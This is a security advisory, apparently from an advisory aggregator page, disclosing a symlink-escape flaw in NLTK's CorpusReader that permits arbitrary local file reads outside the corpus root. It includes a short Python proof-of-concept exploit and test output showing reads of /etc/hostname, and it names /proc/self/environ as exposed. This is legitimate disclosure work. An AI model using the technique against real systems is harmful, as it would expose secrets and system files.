PyPI · nltk
NLTK: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root
nltk.corpus.reader.api.CorpusReader.open() can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and .. traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on CorpusReader or FileSystemPathPointer to restrict file access.
The vulnerable flow is:
CorpusReader.open() blocks absolute paths and .., then calls self._root.join(file).open()FileSystemPathPointer.join() joins the requested file ID and checks whether the resulting path still appears to remain under the configured rootThe problem is that the check is based on the lexical path after os.path.normpath(), not on the resolved path after following symlinks.
Current behavior:
CorpusReader.open() rejects:.. path traversalFileSystemPathPointer.join() computes:joined = os.path.normpath(os.path.join(self._path, fileid))root = os.path.normpath(self._path)joined starts with rootThis misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.
Example:
JOINED=/tmp/nltk-root/link/secret.txt
REALPATH=/tmp/outside/secret.txt
JOINED still appears to be inside the root, but REALPATH is outside it.
This is distinct from simple ../ traversal:
..Reproduced in an isolated Docker sandbox using the local nltk clone.
Minimal Python PoC:
import os
import tempfile
from nltk.corpus.reader.api import CorpusReader
root = tempfile.mkdtemp(prefix="nltk-root-")
outside_dir = tempfile.mkdtemp(prefix="nltk-out-")
outside_file = os.path.join(outside_dir, "secret.txt")
with open(outside_file, "w") as f:
f.write("secret-data")
os.symlink(outside_dir, os.path.join(root, "link"))
corpus = CorpusReader(root, ["link/secret.txt"])
with corpus.open("link/secret.txt") as f:
print(f.read())
Observed result:
secret-data
Docker re-test output:
ROOT=/tmp/nltk-root-jjxay3if
OUTSIDE_DIR=/tmp/nltk-out-1kef36e0
JOINED=/tmp/nltk-root-jjxay3if/link/secret.txt
REALPATH=/tmp/nltk-out-1kef36e0/secret.txt
READ_OK=secret-data
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False
Additional impact validation using a system file:
ROOT=/tmp/nltk-root-_h5x4m19
JOINED=/tmp/nltk-root-_h5x4m19/hostfile
REALPATH=/etc/hostname
HOSTNAME_READ=48dafb244af3
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False
This shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.
This is an arbitrary local file read / symlink escape issue.
Who is impacted:
Practical impact includes disclosure of:
/proc/self/environThe issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.
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Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.